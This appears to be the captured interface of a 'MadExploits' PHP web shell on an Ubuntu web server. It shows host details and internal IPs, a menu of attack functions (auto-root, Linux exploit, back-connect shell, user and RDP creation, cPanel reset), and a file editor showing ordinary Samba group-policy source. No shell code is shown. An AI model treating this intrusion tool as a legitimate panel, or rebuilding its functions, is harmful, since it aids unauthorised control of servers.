Linux websever 5.15.0-153-generic #163-Ubuntu SMP Thu Aug 7 16:37:18 UTC 2025 x86_64
Apache/2.4.52 (Ubuntu)
: 192.168.3.70 | : 192.168.1.99
Cant Read [ /etc/named.conf ]
8.1.2-1ubuntu2.23
urlab
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
lib /
python3 /
dist-packages /
samba /
[ HOME SHELL ]
Name
Size
Permission
Action
__pycache__
[ DIR ]
drwxr-xr-x
dcerpc
[ DIR ]
drwxr-xr-x
emulate
[ DIR ]
drwxr-xr-x
gp_parse
[ DIR ]
drwxr-xr-x
kcc
[ DIR ]
drwxr-xr-x
netcmd
[ DIR ]
drwxr-xr-x
provision
[ DIR ]
drwxr-xr-x
samba3
[ DIR ]
drwxr-xr-x
subunit
[ DIR ]
drwxr-xr-x
tests
[ DIR ]
drwxr-xr-x
__init__.py
12.62
KB
-rw-r--r--
_glue.cpython-310-x86_64-linux...
26.96
KB
-rw-r--r--
_ldb.cpython-310-x86_64-linux-...
66.32
KB
-rw-r--r--
auth.cpython-310-x86_64-linux-...
61.54
KB
-rw-r--r--
auth_util.py
1.1
KB
-rw-r--r--
colour.py
2.84
KB
-rw-r--r--
common.py
3.81
KB
-rw-r--r--
credentials.cpython-310-x86_64...
48.79
KB
-rw-r--r--
crypto.cpython-310-x86_64-linu...
14.4
KB
-rw-r--r--
dbchecker.py
130.9
KB
-rw-r--r--
dckeytab.cpython-310-x86_64-li...
18.33
KB
-rw-r--r--
descriptor.py
27.97
KB
-rw-r--r--
dnsresolver.py
2.29
KB
-rw-r--r--
dnsserver.py
13.96
KB
-rw-r--r--
domain_update.py
14.97
KB
-rw-r--r--
drs_utils.py
18.23
KB
-rw-r--r--
dsdb.cpython-310-x86_64-linux-...
55.4
KB
-rw-r--r--
dsdb_dns.cpython-310-x86_64-li...
22.52
KB
-rw-r--r--
forest_update.py
19.75
KB
-rw-r--r--
gensec.cpython-310-x86_64-linu...
35.41
KB
-rw-r--r--
getopt.py
16.03
KB
-rw-r--r--
gp_ext_loader.py
2.09
KB
-rw-r--r--
gp_gnome_settings_ext.py
20.15
KB
-rw-r--r--
gp_msgs_ext.py
3.46
KB
-rw-r--r--
gp_scripts_ext.py
3.85
KB
-rw-r--r--
gp_sec_ext.py
8.87
KB
-rw-r--r--
gp_smb_conf_ext.py
3.79
KB
-rw-r--r--
gp_sudoers_ext.py
4.5
KB
-rw-r--r--
gpclass.py
21.5
KB
-rw-r--r--
gpo.cpython-310-x86_64-linux-g...
23.72
KB
-rw-r--r--
graph.py
27.76
KB
-rw-r--r--
hostconfig.py
2.29
KB
-rw-r--r--
idmap.py
3.25
KB
-rw-r--r--
join.py
75.74
KB
-rw-r--r--
logger.py
2.08
KB
-rw-r--r--
mdb_util.py
1.48
KB
-rw-r--r--
messaging.cpython-310-x86_64-l...
27.07
KB
-rw-r--r--
ms_display_specifiers.py
4.65
KB
-rw-r--r--
ms_forest_updates_markdown.py
9.15
KB
-rw-r--r--
ms_schema.py
9.32
KB
-rw-r--r--
ms_schema_markdown.py
2.21
KB
-rw-r--r--
ndr.py
5.31
KB
-rw-r--r--
net.cpython-310-x86_64-linux-g...
31.04
KB
-rw-r--r--
net_s3.cpython-310-x86_64-linu...
74.87
KB
-rw-r--r--
netbios.cpython-310-x86_64-lin...
22.88
KB
-rw-r--r--
ntacls.py
23.42
KB
-rw-r--r--
ntstatus.cpython-310-x86_64-li...
122.13
KB
-rw-r--r--
param.cpython-310-x86_64-linux...
32.07
KB
-rw-r--r--
policy.cpython-310-x86_64-linu...
14.4
KB
-rw-r--r--
posix_eadb.cpython-310-x86_64-...
14.4
KB
-rw-r--r--
registry.cpython-310-x86_64-li...
28.04
KB
-rw-r--r--
remove_dc.py
18.18
KB
-rw-r--r--
samdb.py
59.92
KB
-rw-r--r--
schema.py
9.93
KB
-rw-r--r--
sd_utils.py
8.06
KB
-rw-r--r--
security.cpython-310-x86_64-li...
14.34
KB
-rw-r--r--
sites.py
3.96
KB
-rw-r--r--
subnets.py
8.3
KB
-rw-r--r--
tdb_util.py
1.45
KB
-rw-r--r--
trust_utils.py
2.1
KB
-rw-r--r--
upgrade.py
33.78
KB
-rw-r--r--
upgradehelpers.py
32.24
KB
-rw-r--r--
uptodateness.py
6.55
KB
-rw-r--r--
vgp_access_ext.py
6
KB
-rw-r--r--
vgp_files_ext.py
5.83
KB
-rw-r--r--
vgp_issue_ext.py
2.85
KB
-rw-r--r--
vgp_motd_ext.py
2.85
KB
-rw-r--r--
vgp_openssh_ext.py
4.39
KB
-rw-r--r--
vgp_startup_scripts_ext.py
5.51
KB
-rw-r--r--
vgp_sudoers_ext.py
5.41
KB
-rw-r--r--
vgp_symlink_ext.py
3.24
KB
-rw-r--r--
werror.cpython-310-x86_64-linu...
158.13
KB
-rw-r--r--
xattr.py
2.23
KB
-rw-r--r--
xattr_native.cpython-310-x86_6...
14.4
KB
-rw-r--r--
xattr_tdb.cpython-310-x86_64-l...
14.4
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : gp_sec_ext.py
# gp_sec_ext kdc gpo policy # Copyright (C) Luke Morrison <luc785@.hotmail.com> 2013 # Copyright (C) David Mulder <dmulder@suse.com> 2018 # # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 3 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program. If not, see <http://www.gnu.org/licenses/>. import os.path from samba.gpclass import gp_inf_ext from samba.auth import system_session from samba.common import get_string try: from ldb import LdbError from samba.samdb import SamDB except ImportError: pass def mins_to_hours(val): return '%d' % (int(val) / 60) def days_to_hours(val): return '%d' % (int(val) * 24) def days2rel_nttime(val): seconds = 60 minutes = 60 hours = 24 sam_add = 10000000 val = int(val) return str(-(val * seconds * minutes * hours * sam_add)) class gp_krb_ext(gp_inf_ext): apply_map = { 'MaxTicketAge': 'kdc:user_ticket_lifetime', 'MaxServiceAge': 'kdc:service_ticket_lifetime', 'MaxRenewAge': 'kdc:renewal_lifetime' } def process_group_policy(self, deleted_gpo_list, changed_gpo_list): if self.lp.get('server role') != 'active directory domain controller': return inf_file = 'MACHINE/Microsoft/Windows NT/SecEdit/GptTmpl.inf' for guid, settings in deleted_gpo_list: self.gp_db.set_guid(guid) for section in settings.keys(): if section == str(self): for att, value in settings[section].items(): self.set_kdc_tdb(att, value) self.gp_db.delete(section, att) self.gp_db.commit() for gpo in changed_gpo_list: if gpo.file_sys_path: self.gp_db.set_guid(gpo.name) path = os.path.join(gpo.file_sys_path, inf_file) inf_conf = self.parse(path) if not inf_conf: continue for section in inf_conf.sections(): if section == str(self): for key, value in inf_conf.items(section): att = gp_krb_ext.apply_map[key] value_func = self.mapper().get(att) self.set_kdc_tdb(att, value_func(value)) self.gp_db.commit() def set_kdc_tdb(self, attribute, val): old_val = self.gp_db.gpostore.get(attribute) self.logger.info('%s was changed from %s to %s' % (attribute, old_val, val)) if val is not None: self.gp_db.gpostore.store(attribute, get_string(val)) self.gp_db.store(str(self), attribute, get_string(old_val) \ if old_val else None) else: self.gp_db.gpostore.delete(attribute) self.gp_db.delete(str(self), attribute) def mapper(self): return {'kdc:user_ticket_lifetime': lambda val: val, 'kdc:service_ticket_lifetime': mins_to_hours, 'kdc:renewal_lifetime': days_to_hours, } def __str__(self): return 'Kerberos Policy' def rsop(self, gpo): output = {} if self.lp.get('server role') != 'active directory domain controller': return output inf_file = 'MACHINE/Microsoft/Windows NT/SecEdit/GptTmpl.inf' if gpo.file_sys_path: path = os.path.join(gpo.file_sys_path, inf_file) inf_conf = self.parse(path) if not inf_conf: return output if str(self) in inf_conf.sections(): section = str(self) output[section] = {k: v for k, v in inf_conf.items(section) \ if gp_krb_ext.apply_map.get(k)} return output class gp_access_ext(gp_inf_ext): '''This class takes the .inf file parameter (essentially a GPO file mapped to a GUID), hashmaps it to the Samba parameter, which then uses an ldb object to update the parameter to Samba4. Not registry oriented whatsoever. ''' def load_ldb(self): try: self.ldb = SamDB(self.lp.samdb_url(), session_info=system_session(), credentials=self.creds, lp=self.lp) except (NameError, LdbError): raise Exception('Failed to load SamDB for assigning Group Policy') apply_map = { 'MinimumPasswordAge': 'minPwdAge', 'MaximumPasswordAge': 'maxPwdAge', 'MinimumPasswordLength': 'minPwdLength', 'PasswordComplexity': 'pwdProperties' } def process_group_policy(self, deleted_gpo_list, changed_gpo_list): if self.lp.get('server role') != 'active directory domain controller': return self.load_ldb() inf_file = 'MACHINE/Microsoft/Windows NT/SecEdit/GptTmpl.inf' for guid, settings in deleted_gpo_list: self.gp_db.set_guid(guid) for section in settings.keys(): if section == str(self): for att, value in settings[section].items(): update_samba, _ = self.mapper().get(att) update_samba(att, value) self.gp_db.delete(section, att) self.gp_db.commit() for gpo in changed_gpo_list: if gpo.file_sys_path: self.gp_db.set_guid(gpo.name) path = os.path.join(gpo.file_sys_path, inf_file) inf_conf = self.parse(path) if not inf_conf: continue for section in inf_conf.sections(): if section == str(self): for key, value in inf_conf.items(section): att = gp_access_ext.apply_map[key] (update_samba, value_func) = self.mapper().get(att) update_samba(att, value_func(value)) self.gp_db.commit() def ch_minPwdAge(self, attribute, val): old_val = self.ldb.get_minPwdAge() self.logger.info('KDC Minimum Password age was changed from %s to %s' % (old_val, val)) self.gp_db.store(str(self), attribute, str(old_val)) self.ldb.set_minPwdAge(val) def ch_maxPwdAge(self, attribute, val): old_val = self.ldb.get_maxPwdAge() self.logger.info('KDC Maximum Password age was changed from %s to %s' % (old_val, val)) self.gp_db.store(str(self), attribute, str(old_val)) self.ldb.set_maxPwdAge(val) def ch_minPwdLength(self, attribute, val): old_val = self.ldb.get_minPwdLength() self.logger.info( 'KDC Minimum Password length was changed from %s to %s' % (old_val, val)) self.gp_db.store(str(self), attribute, str(old_val)) self.ldb.set_minPwdLength(val) def ch_pwdProperties(self, attribute, val): old_val = self.ldb.get_pwdProperties() self.logger.info('KDC Password Properties were changed from %s to %s' % (old_val, val)) self.gp_db.store(str(self), attribute, str(old_val)) self.ldb.set_pwdProperties(val) def mapper(self): '''ldap value : samba setter''' return {"minPwdAge": (self.ch_minPwdAge, days2rel_nttime), "maxPwdAge": (self.ch_maxPwdAge, days2rel_nttime), # Could be none, but I like the method assignment in # update_samba "minPwdLength": (self.ch_minPwdLength, lambda val: val), "pwdProperties": (self.ch_pwdProperties, lambda val: val), } def __str__(self): return 'System Access' def rsop(self, gpo): output = {} if self.lp.get('server role') != 'active directory domain controller': return output inf_file = 'MACHINE/Microsoft/Windows NT/SecEdit/GptTmpl.inf' if gpo.file_sys_path: path = os.path.join(gpo.file_sys_path, inf_file) inf_conf = self.parse(path) if not inf_conf: return output if str(self) in inf_conf.sections(): section = str(self) output[section] = {k: v for k, v in inf_conf.items(section) \ if gp_access_ext.apply_map.get(k)} return output
Close